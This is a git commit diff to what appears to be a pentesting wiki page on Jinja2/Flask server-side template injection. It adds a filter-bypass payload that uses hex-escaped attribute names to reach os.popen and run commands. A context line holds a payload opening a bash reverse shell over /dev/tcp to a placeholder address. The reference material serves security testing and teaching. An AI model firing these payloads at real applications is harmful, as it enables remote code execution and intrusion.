GITBOOK-3792: No subject

This commit is contained in:
CPol 2023-02-23 14:32:10 +00:00 committed by gitbook-bot
parent c1cccba14b
commit da094e016f
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -239,6 +239,16 @@ By default Flask HTML encode all the inside a template for security reasons:
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Without several chars
Without **`{{` `.` `[` `]` `}}` `_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## Jinja Injection without **\<class 'object'>**
From the [**global objects**](jinja2-ssti.md#accessing-global-objects) there is another way to get to **RCE without using that class.**\